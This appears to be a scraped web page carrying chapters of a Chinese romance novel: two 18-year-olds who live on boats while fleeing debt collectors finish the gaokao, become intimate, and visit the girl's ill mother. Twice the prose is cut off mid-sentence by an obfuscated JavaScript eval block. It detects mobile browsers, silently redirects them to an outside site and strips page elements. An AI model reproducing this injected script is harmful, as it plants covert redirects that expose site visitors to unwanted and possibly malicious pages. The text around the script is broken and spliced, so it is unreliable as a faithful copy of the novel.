她意识到:两人不会这么巧分在同一考点吧? 果然。 两人同样在三中门口下了车。校门口挤满来送考的家长,大部分母亲穿着旗袍,不知什么时候开始兴起这“旗开得胜”的兆头。 姜堇目光淡淡扫过,心里默念着“身份证准考证2B铅笔”这些东西她有没有带齐。 交警哨声连连的维持着秩序。今日阴天,随时要落雨的前奏,人群中唯独陈列和姜堇穿着校服外套,两人却站得很远。 还没到入场的时候,姜堇背着书包,听身边一位母亲在同女儿说:“等你出来吃中午饭,你大舅舅原本早早在松鹤楼订了一桌,我说不行的呀,吃太油腻她肠胃不适应怎么办?” “我自己做好了给你带来的,口蘑肉片,肉糕蒸鸡蛋,你说好伐?” 女儿大概在想一道题,明显不耐烦的语气:“随便啦。” 铃声打响,铁闸拉开,参加高考的学生鱼贯往里走去。大部分家长挥着手在校门口喊:“好好考啊!”“别紧张啊!”“我们就在这里等,你出来就看到我们了啊!” 学生们也只得回头招手,三分无奈:“知道了!” 姜堇混在人群里,下意识回了一下头—— 然后才发觉,她回头干嘛?她从来拼了命的往前跑,不就因为身后从没有一个等她的人么? 她没有底牌。 她平静地转回头继续往前走,有人自身后点了点她的肩。 转眸,陈列站在她身后。 姜堇有些意外,因为陈列在公共场合从来对她都很回避。 陈列抬手翻了下她校服外套的衣领,大概她今早出门的时候实在太急了,衣领并未翻好。 “我就不跟你说加油了。”陈列淡淡道:“你自己会的。” 他宽大的手掌隔着校服,在姜堇后颈根轻轻拍了下:“走吧。” 走往你的花团锦簇。 走往你的锦绣未来。 - 高考三天时间过得很快。 阴霾了两日的天,考到第三天的时候,雨终于淅淅沥沥地落了下来。姜堇走出考场的时候撑一把红伞,看校门口挤满了等候的家长,大部分怀里抱着庆贺考完的一束鲜花,向日葵或剑兰。 雨雾溅上去,倒显得很新鲜的样子。 姜堇举着雨伞,很平静走过他们身边。 没瞧见陈列,也不知是不是一考完就被叶炳崐拉去喝酒了。 姜堇独自乘公交回河畔。 雨天泥泞更甚,乱七八糟的包装袋和塑料瓶间,唯独那一片紫花地丁开得正旺,在雨幕中洗出一片雪青色。 姜堇撑着伞蹲下身去,手指掠过泥地,抚过那片淡紫小花,指尖轻轻弯折,摘下一朵。 白皙的手指仍是沾了泥泞,因为这种开在乡野的小花本就贴着泥泞而生,才有这般旺盛的生命力。 姜堇指尖捻着花茎转了转,雨霹雳吧啦打在她的伞面上。 她完成了自己的高考。 但她不会得到向日葵或剑兰。只有初夏的雨送她这片野花。 她本就以这堇菜科的小野花为名,她既庆幸,也厌恶。 庆幸这乃至野蛮的生命力,厌恶这谁都能踩上一脚的低劣。 她把花扔进泥泞,往船舱里走去。 陈列始终没回来。晚饭姜堇给自己煮了碗面,吃完后坐到那条窄窄的木板上倚在窗边,纤细的小腿一晃一晃。 落雨仍如银线。 她生命里鲜少有这般闲暇的时候。像是冲刺了很长的一段路、终于到一个补给点,能停下来喘口气。 竟生出一种无事可做的感觉。 趴在窗边看了一阵雨,她想起可以把茨维格的那本《夜色温柔》看完。起身洗了个苹果,她在超市买的打折货,两块一斤,要自己把腐坏的小块部分切掉。 展开书本到书签的那一页,过熟的苹果咬进嘴,有一种微微发酵的气息。 雨打着船舱,船身摇摇晃晃。 看了大概两三页,船头稍猛烈地一晃。 姜堇不确定是不是风吹着船头卡进了落雨的泥泞里,把书和苹果放到矮桌上,走出船舱去看。 刚走出甲板,恰见陈列远远地走来。 他没撑伞,校服搭在肘弯里,远远抬眸望见姜堇单薄的身影立在船头,走过来。 一手搭着船头,试着摇了摇,发现有些卡陷,顺手把肘弯里的校服往甲板上一扔,双手用力去把船头推出去。 姜堇站在甲板上跟着一晃,问他:“你喝酒了?” “嗯?”陈列大抵有些喝多了,反应相较于平时迟滞两秒:“嗯。” 姜堇背着手站在甲板上,看他一脚后蹬足尖陷进泥里,双肩高耸起小山般的丘壑,头往下压,下巴往喉结靠拢。 姜堇发现一个问题—— 陈列是一个逃避追债的人。 他沉闷地抽许多的烟,那于他而言是一种发泄。他也喝酒,在拳馆少少的一杯扎啤,从不喝多。 他随时像一只蛰伏的豹,准备着出击或逃遁。 但今晚他明显稍有些喝多,抬起眼皮看姜堇的时候,双眸亮得过分,旋即垂落下去,盯着船头的木板。 把船推出去后,伸掌在木板上拍了拍:“考得怎么样?” 姜堇答完卷子不用对答案,看今年考卷的难易程度心里就有了数。 她也不会过度谦虚,点头答道:“很好。” 陈列沉沉笑了声。 此时雨渐渐停了。云依然很厚,月亮弯成上弦的一线,锋利的,像从云层里拼命挣扎。 姜堇问:“你呢?” 陈列压了压下巴:“不错。” 他说着退开了一步,从口袋里摸了根烟出来,衔在嘴里,勾下后劲去,一手拢着用火机点燃。然后抬起头来,双手插进口袋,站在岸边,望着远处波光粼粼的河面。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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两人挽着手臂进去落座,李黎是姗姗来迟的那一个。她已换上了浑身的奢牌,化精致淡妆,假睫毛贴得尤为明显些。 最醒目是颈间一条四叶草项链,镶整一圈的碎钻。 她的闺蜜替她留了座,她拖开椅背落座时,瞥清汤素面的姜堇一眼,脸上的神情几分不屑。 低头跟闺蜜低语了句什么。 那嘴形再明显不过,她在说姜堇——“装什么装?” 姜堇并不在意,杜珉珉问她:“要汤么?” 她点点头:“要。” 杜珉珉给姜堇乘一碗汤,姜堇给杜珉珉夹凉菜里她喜欢的脆花生。 老师“很懂行情”地露面吃了几筷饭,便先撤退了。剩下一屋的学生,话题就肆无忌惮起来。 有人喝了几杯,大着胆子把话题抛到姜堇身上:“你们数数,姜堇这三年交了多少封情书给老师?” 有人开玩笑:“姜堇,你是不是长了修仙小说里的绝情根?” 姜堇埋头喝汤,并不理会。 也不陪笑,脸上的表情清冷冷的。 一阵脚步声,姜堇抬眸,发现是李黎端着酒杯走到了她身边。 李黎晃晃那小半杯红酒:“喝一个?”她看着姜堇的眼神露出几分戏谑:“还是你不敢?怕喝多了露怯?” 杜珉珉立刻帮着拦下:“姜堇又不喝酒……” 姜堇冲杜珉珉笑了下,拎过红酒瓶,倒了整杯红酒,端起来清脆地贴着李黎的杯壁一碰。 她仰头整杯灌入的时候,李黎反而因她的气势一愣。 她把喝空的酒杯放回桌上,平静地望着李黎。 李黎勉强地牵了下嘴角:“以后还有机会见到你吗?” 她也喝空了自己的红酒,贴近姜堇的耳边,吐息间带着酒意:“到时候再来抓你的破绽?” 姜堇点点头:“你试试看。” 李黎哼了声走开去,杜珉珉这才低声道:“哇姜堇,你好猛啊!这么喝酒不晕么?” 姜堇坦诚道:“晕。” 杜珉珉大笑。 吃完饭又转场去KTV。杜珉珉说等姜堇出国后不知多久才能见了,拖着姜堇的手不许她离开。 姜堇这种集体活动参加得少,今天才发现杜珉珉是一麦霸。 杜珉珉抱着话筒唱: “你是千堆雪,我是长街, 怕日出一到,彼此瓦解。” 她刚喝了啤酒,唱到这里打个响亮的嗝。一屋人哄堂大笑,杜珉珉性格好极了,也跟着大笑。 KTV里的系统很智能,无人跟唱时自动切换成原因。 那声线清寒孤寂的女歌手带一丝丝媚意,用粤语唱: “看着蝴蝶扑不过天涯, 谁又有权不理解。” 姜堇带着倏然灌入整杯红酒的晕眩,倚在包厢沙发的角落里。一种哄堂大笑的人群间,唯她一人静静望着屏幕,摩挲着自己的指甲盖。 想起冬日大雪,她和陈列牵着手在长巷里奔逃、躲避追债的人。 那时她和陈列在长巷里睡了整夜,醒来的时候,雪花落满肩头。 一班的学生虽然会玩,但家教都严,到了凌晨一点,便散席回家。 杜珉珉依然挽着姜堇手臂,走出KTV的时候,脚步一顿,立马抬手捂住嘴,嘴里低呼了一声:“我的妈呀。” 姜堇循着她视线看过去。 陈列站在那里。 叶炳崐也在,看上去他们是从另一个包厢出来。叶炳崐明显喝多了,扶着树干在吐,另两个男生在照顾他。 陈列不算多热情的人,远远站在一旁,抽着一根烟。 杜珉珉忽而轻轻地笑一声:“姜堇。” “其实我喜欢过陈列,你知道吗?” 36. 能忍 姜堇着实有些惊讶——毕竟,杜珉珉看上去是太过没心没肺的女生。 杜珉珉说话间,低头去自己包里翻找。 取出一只信封,笑道:“我以为这封信我永远不会给他呢。” “靠,管他的——”这是杜珉珉生平第一次说脏话,把信封往姜堇手里一塞:“姜堇你能帮我给陈列吗,反正以后再也没机会了。” “呕……叶炳崐呕得我也想呕了。”杜珉珉死死捂住自己的嘴:“我这一紧张胃就不舒服的毛病什么时候能改?姜堇你帮我给他啊!我我我……我不能面对!我们微信联系!” 杜珉珉飞快跳上路边正好开来的一辆出租车,走了。 剩下姜堇一个人站在路边的白色凌霄花边,夜风一吹,像落一场夏日雪。 她手里的那只信封,淡淡粉色,角落磨起了毛边。 一看就是在包里装了许久。 久到要不是今天这场意料之外的偶遇,杜珉珉永远不会拿出来的程度。 高考完的这天,公交彻夜运行。 姜堇远远向一条路以外的公交车站走去,不想任何同学抓住最后的机会识破她身份。 陈列抽着烟远远看一眼她背影,并没上前来跟她说话。 姜堇回到船舱,拧开瓦斯炉烧热水。 她倒没觉得自己多醉,只是很晕。翻出一罐只剩个底的蜂蜜看了眼,她本来就买的多是临期打折食品,截止到目前早过期了。 也无妨罢。 正是在水烧开后、姜堇拿一柄勺子准备搅开蜂蜜时,陈列走进船舱里来。 先是问姜堇:“你怎么没锁门?” 哦对,姜堇后知后觉地想起来。 陈列瞥一眼她手里端着的水杯:“喝多了?” 把水杯从她手里接过来,握着勺柄搅了两搅。姜堇退回去坐在那张窄窄木板上,头靠着舱木,阖上眼,眼皮因醺醉而有些微红。 陈列瞥她一眼。 今天她难得没穿校服,穿一件薄软的白T,V领,贴着她姣好的身段。 随着她肩膀放松的动作,领口微微的敞下来。 陈列实在算不上多细致的人,蜂蜜水他搅拌的并不匀,剩下些蜂蜜还黏在勺匙上。 往她面前一递:“给。” 姜堇没睁眼。 陈列用杯壁碰一碰她侧颊:“不喝?” “陈列。”姜堇垂落的左边小腿微晃一下:“我们总归是要分开的。” 陈列一滞。 自打那日在拳馆的更衣室后,两人之间从未再谈过这一话题。 陈列所有要说的话沉默下去,化进那一声“嗯”里。 他这样的人,不可能跟姜堇谈未来,更不可能开口要姜堇留下。 他只是在姜堇这样说的时候,抬眸环视了一圈姜堇这小□□仄的船舱。 以后会怀念么? 这段混沌狼狈的日子。 姜堇睁开眼,指指对面那张凳子,叫陈列:“坐。” 陈列把蜂蜜水放到矮桌上,沉默地退过去坐下。 姜堇在牛仔裤口袋里掏了掏,掏出一只对折的淡粉信封来。 取出里面的信纸,展开。 陈列在姜堇手里看过太多这样的东西了,譬如上次周维笙写给姜堇的那封情书。 所以当姜堇清清嗓子开始念时,他以为又是哪个男生趁着今天散伙饭、交给姜堇的情书。 姜堇喝了酒,平时清寒的声线变得带一点暗哑。 当她念出“陈列”二字时,陈列的神情露出些微的愕然。 这是写给他的? 有那么一瞬他错觉这会不会是姜堇写给他的,却很快发现这不可能。 因为这封信写得太轻盈、太明亮、也太梦幻了。 像是在初夏的阳光下,充满了透亮的肥皂泡泡。 他沉默地听姜堇念完了那封信,姜堇笑一笑:“你猜这封信是谁写给你的?” 她晃一晃信纸:“是杜珉珉。” “我本来不打算把这封信给你的。”姜堇道:“你知不知道杜珉珉刚开始接近我的时候,我为什么接受了她?” 她看着陈列黑沉的双瞳:“因为我想给她使绊子。” “我嫉妒她,我总在想,为什么世界上有女孩子这么好命呢?父母宠爱她,人人喜欢她,她的生活像装在一个淡粉的肥皂泡里。”姜堇说着挑了挑唇:“所以她让我帮她交竞赛报名表时,我想偷偷撕掉。她让我帮她划考试重点范围时,我想偷偷划错。” “这些事只有扮作她最好的朋友、潜伏在她身边才好做,对吧?”姜堇笑着。 她今天没化妆,穿着件再清纯不过的白T恤。可微醺的神态好似往她面颊上扑了层红胭脂,让她眉眼间露出些许的媚态,像朵早开而苍凉的玫瑰。 她说:“可我每次总觉得,那些事太小太小了,小得不足以伤害她。等到我对她的羡慕超过了嫉妒。” 她说着笑了笑,那笑也是苍凉的,扬了扬手里的信纸:“她怎么可以像这样喜欢一个人呢?单纯的、美好的、愚蠢的。” 姜堇说:“我真羡慕她。” 陈列看着姜堇的眉眼,那眼角眉梢的神色实在与她十八岁的年纪并不相符。陈列问:“怎么,你不会想让我答应她吧?” 姜堇又笑了,低头,一点点把手里的信纸撕成粉碎。 顺手一推身后的窗,夜风一扬,她手里的碎纸屑随风消逝。 她关上窗,转回来冲陈列摇摇头:“你配不起这样的喜欢,就像我配不起周维笙的喜欢一样。” 她看着陈列的双瞳:“陈列,为什么你从不把你喜欢我这件事说出口呢?” 陈列的肩膀一滞。 随即放松下来,平静地问姜堇:“说出来,又如何?有结果么?” 姜堇低头,笑得噙住一点唇角,抬起头来看陈列时,眼神却没笑意:“像我们这样连自己的未来都难保的人,难道还指望喜欢一个人有结果么?” 她叫陈列:“把蜂蜜水递我一下。” 陈列站起来,勾腰端起杯子,递到姜堇面前。 姜堇接了,却没喝,顺手放到身边的木板上,抬手便攥住陈列的衣领,倏然拽着陈列与她靠拢,她一张白皙的脸贴近陈列面前。 陈列穿着件黑T,衬得她纤细手指愈发白皙。 她看着陈列道:“我不会劝你接受杜珉珉,因为我们俩才是同类。” 陈列:“姜堇,我劝你不要做这样的事。” “什么事?” 陈列也不是被动挨打的人,他一手撑在木板上,不再回避,转而去看姜堇的瞳:“靠我这么近。难道你也喜欢我?” 姜堇挑唇:“我永远不会像杜珉珉那样喜欢你。” 陈列的睫毛翕动了下:“我知道,所以我也永远不会说我喜欢你。” 姜堇:“这么能忍?” 陈列扬唇低低笑了声。 船身随着夏夜波纹轻轻一荡,没灯罩的灯泡闪了两闪,霎地熄了。陈列在船上住了小一年,早已总结出,船上的电路是从城中村牵出来的,本来电压就不稳,冬夏两季用电高峰,明显更易停电。 陈列习以为常,叫姜堇“松手”,准备去找蜡烛。 姜堇却手腕轻轻一拽,陈列随着船身晃荡失了重心,压着姜堇倒在了那窄窄的木板上。 姜堇的身形瘦薄,平躺着,更能感受到胸前的温软。陈列双眼没适应陡然的黑暗,一手下意识往她头侧的木板一撑,感到她浓密的乌发平铺在自己手背上。 还有她的呼吸,带着淡淡酒气,馨芬灼暖。 陈列是个十八岁的青年人,荷尔蒙最为旺盛的年纪,很快发现自己身体某部分起了变化。 黑暗中姜堇低低地笑了声——那笑声的意思很明确:不是很能忍么?但你身体好像不是这么说的。 陈列拧着眉手腕一撑便想远离,他感到耳廓发烫,喉结一下一下轻滚,一种极度口渴的感觉。 可姜堇勾着他后颈,柔软的身体像一片流沙地,让人很难抽离。 陈列感到两人随船身轻晃更紧地贴在一起。他凭着最后的理智问:“既然不可能像杜珉珉那样喜欢我,干嘛做这样的事?” “是不可能。”姜堇喝了酒的声音发着暗:“我的喜欢更黑暗,更直接,也更多占有欲。” 跨过了纯情的年少时代,直指爱欲的核心。 像浓妆时的她,像一朵过分早开的凄艳玫瑰。 姜堇的纤指插进陈列短短寸头的发间,好似在轻轻地揉抚。 陈列的喉结又是一滚,低声问:“就算没结果你也要?” 姜堇轻轻抚着他的头:“陈列,我想过当个好人放过你的。” “可是杜珉珉今天提醒了我,我再也没可能像这样喜欢一个人了。” 她的手探入陈列裤子口袋,避开某种到底令年轻人脸红心跳的隆起,只是在裤袋里搜寻。 得逞般地轻声说:“找到了。” 那是一条极细极细的链子,姜堇指尖摩挲过去,应该是某种银镀金。 估量长度,刚好在她纤细的脚腕绕一圈。 她问陈列:“既然准备了生日礼物,为什么不祝我生日快乐?” 老实说陈列是进攻型人格,就算他表面再颓靡淡漠,每每他出鞘的时候却似把锋锐的剑。可此时他面对姜堇几无招架之力。 身体某处的变化越来越明显,抵着姜堇。他的本能在与他的理智打架。 他只能勉强顺着姜堇的话头:“……为什么要祝你生日快乐?” 6月13日,姜堇的生日。他瞥过一眼姜堇的身份证,当然记得清清楚楚。 “因为……”姜堇的声音轻而幽暗:“我成年了,才能对你做成年人该做的事。” 她微微仰起后颈,并非轻吻上陈列的下唇,而是噬咬上去,像某种凶狠的小动物。 她这一下并不轻,陈列迅速感到淡淡的血腥味从他下唇溢出来。 他往后仰一仰头,说了句:“姜阿堇,这是你自找的。” 旋即低头,狠狠吻了下去。 那一刻他心里的想法是:认命吧。 尽管姜堇说他们是同类,可他自己清楚,他与姜堇是不同的人。时间一到,姜堇会毫不留恋地远走高飞,他留在原地,总归会想起船舱里的这段日子。 可他此时的理智终被击溃。认命吧,陈列。 他狠狠吻着姜堇,似要把姜堇揉进自己怀里。 这种过分强烈的渴望也许从拳馆更衣室的那晚便已萌生,也许更早。被高考前这一个多月的压抑酿得更为汹涌。 姜堇顺手放在床头的那杯蜂蜜水,到底随两人的拥吻被打翻在地。 蜂蜜水顺着老旧木地板的沟壑流淌进去,满室起了一种甜腻而靡靡的气味。 陈列捏着姜堇的下颌吻她,逼她张开嘴来承受。姜堇唇间的呼吸似抵抗又似顺从,她脚跟轻轻蹬着木板,陈列准备送她那条脚链被她攥在手里,搭在陈列后颈。 金属凉凉的,两人皮肤确实滚灼。 陈列几乎已循着本能去摸自己牛仔裤的扣子,呼吸低而混乱。他母亲早逝,从小他生命中的女性形象缺位,他未曾感知过女性的任何美好,更遑论姜堇这样的柔软。 他低低呼吸着问姜堇:“你怕不怕?” 他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531672|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那样年轻,年轻到甚至没人提前准备东西。 姜堇点点头,又摇摇头。黑暗中她的长发扫在木板上。 陈列手肘撑着木板呼吸了会儿,终是慢慢坐了起来。 姜堇随他躺了好一会儿,才随他坐起来,下床去储物盒里找出蜡烛。 她蹲在矮桌边扭头问陈列:“火柴用完了,你打火机呢?” 陈列伸手在自己裤子口袋里摸了摸,一无所获。又伸手在窄窄木板上搜寻,终于在靠墙位置找到了他的打火机。 他递给姜堇。 姜堇点燃了蜡烛,又娴熟地滴了三两滴蜡在桌面,把蜡烛底部黏上去放稳。烛光的光晕在她铺开肩头的长发晕散。 她蹲着背对着陈列:“不做么?” 陈列喘了好久的呼吸,才伸手轻抚在她后脑上。 “你太小了。”他说。 姜堇回过头来冲他笑了下,还是那般苍凉的意味:“我很小么,陈列?” 她又转回头去,指尖稍微拨弄着烛芯:“可有时候我觉得,我已经很老很老了。” 蜡烛的光融融晃着,让人投射到船舱的影子晕开了一圈又一圈,边缘毛茸茸的。 姜堇起身坐到木板上,手里攥着从陈列口袋里摸出来那根细细的链子。 递给陈列,问:“不帮我戴上?” 垂落的左边小腿跟着晃了一晃。 真不知她袜子怎么都那样短,露出盈盈一握的纤细脚踝。 陈列垂眸看了眼,从她手里接过链子。 却没蹲身去捉她的脚踝,抬起她更为细瘦的手腕,链子扣上去,长出好长一截。 姜堇微一怔,问:“你觉得当手链更合适?” 陈列目光锁在她手腕上许久,点头:“嗯。” 姜堇跟着去看,方才黑暗里摩挲那小小链坠、只当是瓣四叶草,现在看清了才发觉不是,说不上什么小花形状,有些像紫花地丁。 姜堇晃了晃手腕,笑道:“也好。” 陈列回到自己船舱,这里洗澡从不方便,今夜,他烦躁地把冷水浇到自己身上。 犹觉得心里那股燥热感尚未平息,走出船舱,看到姜堇那边已然安静下来。 他倚在船舱门上,低头衔了一根烟,去望远方的水面。 直到抽完整根,他掌根拍一拍船舱门,又往姜堇的那条旧船看一眼,终是回到船舱里去了。 - 姜堇来敲船舱门的时候,陈列躺了许久,才皱着眉起床来开门。 “起床。”姜堇说。 陈列眼缝半眯着:“这才几点?” “八点半。” “姜阿堇,你知道现在已经高考完了么?” 陈列有想过高考完这段时间要不要离开江城。可就冲追债的那帮人,无论他躲到全国任何地方都会被找到。他爸是失信人员,他又不可能出国。 不如留在江城,没任何公共交通的移动轨迹,也许反而不易暴露。 于是这段日子,成为了他奔逃的人生里难得的闲暇。 姜堇说:“可是现在已经八点半了。” 她叫陈列:“刷牙,洗脸,我们准备出门。” 陈列从不当着姜堇的面刷牙洗脸,姜堇站在甲板上,他就躲在船舱里洗。套了件T恤走出船舱时,看姜堇坐在甲板边,悠闲晃着自己的腿。 晨曦铺洒在甲板上。 听见陈列声音,她站起来:“走吧。” 陈列:“去哪?” “你别管了。”她跳下甲板,陈列跟着她往前走。 姜堇在离臭水河畔一段距离的位置,找到两辆倒放在草丛的共享单车,扶起来,伸手擦了擦椅座,扫码开锁。 陈列走过来,沉吟一下。他在考虑拿手机扫共享单车的话,系统会不会记录他的手机号。那些追债的人无所不用其极,他担忧暴露。 他尚未说话,姜堇像是完全看穿他所想,把自己手里的车往他一递:“你骑这辆?” 陈列:“你呢?” 姜堇仍是那句:“你别管了。” 陈列跨上单车时,姜堇扶着他的肩站上车后。单车骑起来时,风撩拨着她的长发,在尘埃飞扬的晨曦间。 姜堇笑问:“你怎么骑这么慢?没吃早饭啊?” 陈列习惯性蹙眉刚要否认,转念一想,他可不就还没吃早饭? 差点着了她的道。 姜堇扶着他的肩轻轻笑起来,慧黠的。他能想象她现在的样子,眼尾微微往上挑,平时鹿一般的双瞳,此时变得像小狐狸。 陈列:“这可是你激我的。” 姜堇:“嗯?” 陈列上身伏低下,像只出击的野兽般,身下的单车陡然加速。姜堇一瞬抓紧他的肩,把一声几乎出口的短促尖叫咽回喉咙,下意识伸手去拂自己乱扬的发。 陈列问:“害怕么?” 姜堇反倒激他:“就只能这么快了?” 陈列低哑的笑一声。 单车越来越快,掠过城中村蓝色铁皮屋顶的违建房屋,掠过尚未到收成时节的惨绿麦田,掠过路旁卖菜的零星小摊。 两个拎着菜的妇女,惊异地朝他们看过来。有个叼着烟的男人用方言骂:“神经啊!” 陈列越骑越快。姜堇在身后紧紧扶着他的肩,终是禁不住发出一声短促尖叫,又化成晃来晃去的笑声。 前方是一条颠簸的土路,路过的小货车压出飞扬尘土,单车一颠一颠。 陈列被灰尘和阳光迷得眯了眯眼,想: 如果不去考虑他们终要分别的这件事。 眼前这条路,好似可以蜿蜒许久许久,直到他一生的尽头。 37. 至少 两人来到城中村的市集。 姜堇扫码还了共享单车,领着陈列往里走。 一边问陈列:“想吃什么?” 早市热气腾腾的,有笼屉堆得老高的包子,有油炸的糖饼、旁边的磨豆浆机震天响,有各种浇头面、老板颠着勺炒出喧腾的锅气。 姜堇:“吃粉丝吧。” 陈列眼尾斜过去,那意思是:你这是真心问我想吃什么吗? 姜堇笑,拉他到一爿小摊边坐下。 这里连个门脸都没有,就是老板娘扯块塑料油布搭出的一小片空间。边上支着个大煮锅,浅咖条纹的折叠桌配几个粉绿的塑料凳,都很矮,陈列和姜堇个子都高,坐下去,四条大长腿屈着。 姜堇叫老板娘:“煮两碗粉丝,加鸭胗。” 又对陈列笑道:“算我补请你的生日宴。” 旁边有卖活禽的店,鸡打鸣得很大声。有阿姨买了整整两大包馒头从他们身旁路过。往来行人不断蹭着姜堇的背,陈列站起来叫她:“换过来。” “什么?”姜堇没明白。 陈列绕到她身边:“你坐里面去。” 两人换了座位。姜堇张了张嘴,最终还是说:“我没那么矜贵。” 她低头去看自己的手,手指很细,指关节到底粗些。 如果一班这些养尊处优的小孩生活经验再丰富些,或许他们就能察觉,这是一双干活的手。 陈列说:“知道。” 两碗热腾腾的粉丝端上来,橙红塑料碗套一个塑料袋盛着,是极细的银丝粉。在陈列的家乡,是不吃这种粉的。 一份鸭胗加三块钱,姜堇说她这是难得的奢侈一把。 她加大量的辣椒油,辣得双唇红通通的。陈列真不知她为何总吃那么辣,问她:“胃受得了么?” 姜堇挑起唇角:“辣才过瘾。” 陈列吃东西总是很快,他甚至不怕烫,三两筷子挑完了整碗粉。姜堇用一只手把整头长发捉在一边肩头,问他:“要加粉么?加粉免费。” 他点点头,老板娘就过来给他加了一份粉。 两人走出早餐摊,日头升得更高了,有了些盛夏的味道。 姜堇问陈列:“你知不知道吃辣的感觉像什么?” 陈列:“像什么。” 姜堇往他这边靠了靠,像为了避开行人似的,凑近他耳畔,气息打过来:“像接吻。” 昨晚的回忆陡然席卷而来。 逼仄的船舱。 摇摇晃晃的黑暗。 他们疯狂而激烈的接吻,狭小的空间内满是荷尔蒙的味道。 陈列的舌尖抵一抵下唇,那里被姜堇咬出的细小伤口还在,抽烟时带来隐秘的痛感。他垂眸去看姜堇,她被辣出的唇红还未消褪,走在清晨透亮的阳光中。 陈列视线在她双唇停留很长的一瞬,旋要收回之时,姜堇一握他的手腕,把他带进了一条窄巷。 这是一条死路,尽头一道生锈的铁门锁着,堆放着两辆锈成废铁的摩托车,所以无人来。 姜堇背抵的墙面上,贴着“重金求子”和“治疗阳痿”的小广告,双手勾着陈列的后颈,就那样看着他,小声地叫他的名字:“陈列。” 陈列抱住她,像是把她整个藏进自己怀里,就算外面有人走进也看不见她的程度。 才低头狠吻了下来。 陈列的吻从来都很凶恶,不温柔,长驱直入,逼她仰起纤细的下巴来承受。这是他们第一次在透亮的阳光下接吻,陈列想起姜堇刚刚叫他的那一声,还有姜堇看向他的眼神。 心悸的感觉比昨晚更甚。 她或许永远不会像杜珉珉那样单纯无害的喜欢她。 可那时陈列的每一个毛细孔都觉得,至少,她是喜欢他的。 那时他们多年轻啊,十八岁的年纪。吃完早饭后逛了会儿集市,甚至没吃香口胶,她唇间的气息已那般清新,他唇齿间则带某种难以摆脱的淡淡烟草味。 吻了许久后,陈列放开姜堇。 姜堇胸口小小地起伏着,嘴唇显得有点肿,耳廓带上一点红。 陈列抬手,拇指指腹在她唇瓣擦了下,牵着她走出去。 出了巷口,陈列犹然牵着她。姜堇有些意外地抬眸看他,他淡漠地望着前方,不看姜堇,牵着的手却没放。 姜堇浅浅地笑了下。 路过一口硕大的铁锅时,姜堇晃了下陈列的手,叫他看:“糖油山芋。” 陈列没听过这种吃食,循着她手指的方向看过去。 生铁锅子里加水焖着红心山芋,一味上年纪的师傅加大量黄糖煮至浓稠,山芋外就包了稠稠的一层糖浆。 姜堇:“我小时候我妈最爱吃这个,好多年没见着卖了。” 两人走过去,姜堇正要扫码付款时,陈列先她一步掏出现金:“我来。” 姜堇晃晃手腕上的链子:“你都给我这个了。” “别的不跟你争。”陈列固执道:“这个我来。” 姜堇让他付了钱,等在铁锅边等师傅装山芋时,背着手,眸子亮亮的。 陈列站在一旁看她侧颜,忽然想: 也不知小时候的阿堇,是什么模样? 她总是这样的聪明、理智、自持、算计,就连喜欢一个人也是。 小时候的她有过单纯不计得失的时候么?白柳絮牵着她买一份糖油山芋的时候,她会像别的小孩一样眼巴巴守着那口大铁锅,单纯的嘴馋么? 糖油山芋递到姜堇手里,冒着热气。 陈列问:“不吃一块?” 姜堇:“你呢?” 陈列:“我不喜欢吃甜食。” 姜堇便喂了自己一块,滚烫的,边吃边吹着热气。陈列问:“怀念么?” “什么?” “小时候。” 姜堇像是短暂地想了一下,笑道:“也没过过什么好日子,就不怀念了吧。” 她吃那块糖油山芋时,陈列沉默走在她身边,舌尖扫着下唇被她咬出的伤口。 她说接吻的感觉像吃辣。 很久以后陈列听到一个说法——辣不是一种味觉。 而是一种痛觉。 - 姜堇和陈列乘公交车去医院。 大概病房里的生活实在无聊,白柳絮望着窗外总显得神思淡漠,每次看到陈列,却总有些高兴的样子。 姜堇跟在陈列身边,白柳絮对她就比较平和。 姜堇神神秘秘对白柳絮说:“我给你带了好东西。” 白柳絮:“什么?” 姜堇狡黠地眨一眨眼:“要等护士查完房以后。” 早班护士查房、送药。等护士离开以后,姜堇才悄悄把食物递到白柳絮手里,跟她同谋做贼似的,小声说:“悄悄吃。” 白柳絮要吃大量的药,的确不适宜吃太多糖。 姜堇也知道这一点。只是很偶尔的一次,让白柳絮心情好些。 白柳絮吃了块糖油山芋,惊奇地问她:“你怎么知道我喜欢吃这个?” 姜堇只是笑。 白柳絮忽而怀念道:“我家阿堇也爱吃这个。她小时候我每次去买,她都眼巴巴地守在锅边看着别人熬糖浆。” 姜堇微一怔。 半垂下睫毛,声音压得很低,似是自言自语:“是吗?我都不记得了。” 当她怅然而笑的时候,白柳絮停止了咀嚼的动作,看她良久。 她抬眸与白柳絮对上视线,白柳絮嘴里剩的半块糖山芋还没咽下去,包在腮帮子里,唇边沾着点糖浆,问她: “你几岁了……阿堇?” 姜堇和陈列俱是一愣。 姜堇下意识抬头看了陈列一眼,回答白柳絮的声音都带些小心翼翼:“我十八了,妈。” “你十八岁了?”白柳絮的眼神更加疑惑起来:“你怎么会十八了呢,我记得你分明才这么一丁点大……” 她伸手在床沿比了下:“这么矮。不管我牵着你走多远的路,你都不哭不闹的。” 姜堇嗫嚅了下,正不知怎么回答时,白柳絮又问:“你昨天过生日了么?” 姜堇的睫毛一翕:“过了。” 白柳絮的眼神由疑惑又转为一种空蒙:“我的阿堇昨天过生日呢,也不知她好好过生日没有……” 她问姜堇:“你可以和你男朋友一起去找我的阿堇、陪她过生日么?” 姜堇深深地吸一口气,理一理白柳絮的头发笑道:“你先把糖油山芋吃完,凉了就不好吃了。” 走出病房,姜堇先去了趟主治医生的办公室,陈列在外面等她。 她出来的时候一脸平静,陈列问:“怎么样?” 